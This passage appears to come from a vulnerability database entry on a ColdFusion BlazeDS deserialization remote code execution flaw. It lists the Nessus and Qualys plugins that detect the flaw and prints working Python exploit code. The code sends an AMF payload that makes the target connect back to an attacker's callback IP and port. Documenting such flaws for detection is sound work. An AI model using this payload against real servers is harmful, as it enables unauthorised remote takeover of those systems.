The vulnerability scanner Nessus provides a plugin with the ID 99731 (Adobe ColdFusion BlazeDS Java Object Deserialization RCE), which helps to determine the existence of the flaw in a target environment. It is assigned to the family CGI abuses and running in the context r. The commercial vulnerability scanner Qualys is able to test this issue with plugin 370381 (Adobe Security Hotfix for ColdFusion (APSB17-14)). The code used by the exploit is:

amf_payload = '\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x11\x0a' + \
              '\x07\x33' + 'sun.rmi.server.UnicastRef' + struct.pack('>H', len(callback_IP)) + callback_IP + \
              struct.pack('>I', int(callback_port)) + \
              '\xf9\x6a\x76\x7b\x7c\xde\x68\x4f\x76\xd8\xaa\x3d\x00\x00\x01\x5b\xb0\x4c\x1d\x81\x80\x01\x00';
 
url = "http://" + target_IP + ":" + target_port + "/flex2gateway/amf"
headers = {'Content-Type': 'application/x-amf'}
response = requests.post(url, headers=headers, data=amf_payload, verify=False)
